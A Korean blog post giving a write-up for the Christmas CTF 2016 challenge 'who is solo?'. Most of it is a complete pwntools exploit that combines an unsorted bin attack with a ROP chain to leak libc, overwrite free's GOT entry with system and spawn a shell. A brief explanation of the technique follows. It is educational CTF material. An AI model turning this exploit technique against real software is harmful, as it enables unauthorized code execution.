ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 크리스마스CTF 2016 who is solo?
    Pwnable/CTF 2017. 8. 27. 04:25
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    from pwn import *
     
    p=process("./solo")
    elf=ELF("./solo")
     
    def malloc(number,size,data):
        p.recvuntil('$ ')
        p.sendline("1")
        p.recvuntil('Number: ')
        p.sendline(str(number))
        p.recvuntil('Size: ')
        p.sendline(str(size))
        p.recvuntil('Data: ')
        p.sendline(data)
     
    def free(number):
        p.recvuntil('$ ')
        p.sendline("2")
        p.recvuntil('number: ')
        p.sendline(str(number))
     
    def modify(data):
        p.recvuntil('$ ')
        p.sendline("201527")
        p.recvuntil('Data: ')
        p.send(data)
     
    def login_fun(pw):
        print p.recv(1024)
        p.sendline("4")
        print p.recv(1024)
        p.sendline(pw)
     
    def exit():
        p.recv(1024)
        p.sendline("5")
    login = 0x602080
    pop_rdi = 0x4008a0
    pop_rsi = 0x400d11
    malloc(1,256,"AAA")
    malloc(2,256,"BBB")
    free(1)
    modify(p64(0)+p64(login-0x10))
    malloc(3,260,"CCCC")
     
     
    payload = "A"*1032
    payload += p64(pop_rdi)
    payload += p64(elf.got['puts'])
    payload += p64(elf.plt['puts'])
     
    payload += p64(pop_rdi)
    payload += p64(0)
    payload += p64(pop_rsi)
    payload += p64(elf.got['free'])*2
    payload += p64(elf.plt['read'])
     
    payload += p64(pop_rdi)
    payload += p64(0)
    payload += p64(pop_rsi)
    payload += p64(elf.bss()+0x100)*2
    payload += p64(elf.plt['read'])
     
    payload += p64(pop_rdi)
    payload += p64(elf.bss()+0x100)
    payload += p64(elf.plt['free'])
     
    login_fun(payload)
    exit()
    puts = u64(p.recv(6)+"\00\00")
    base = puts - 0x6f690
    system = base + 0x45390
    binsh = system + 0x172017
    print hex(puts)
    p.sendline(p64(system))
    p.sendline("/bin/sh\00")
     
     
    p.interactive()
     
    cs


    아주 예전에 heap 아무것도 몰랏을때 봤다가 포기했었던 문제였다.

    지금보니까 간단한 문제였다.


    unsorted bin attack 으로 bk쪽에 bk - 16 에 login 주소를 넣고

    malloc를 하면

    bk 포인터가 반환되면서 bk 쪽에 main_arena가 들어간다.

    unsorted bin attack 기법 문제는 leak 할때나 특정 변수에 값을 넣어야되는 문제에 많이 쓰일 것 같다.


    (how2heap unsorted bin attack)

    'Pwnable > CTF' 카테고리의 다른 글

    hitcon 2014 stkof  (0) 2017.09.04
    크리스마스CTF 2016 house_of_daehee  (0) 2017.08.28
    BCTF 2016 Bcloud  (0) 2017.08.27
    YISF 2017 본선  (0) 2017.08.13
    YISF 2017 write up  (0) 2017.08.10
Designed by Tistory.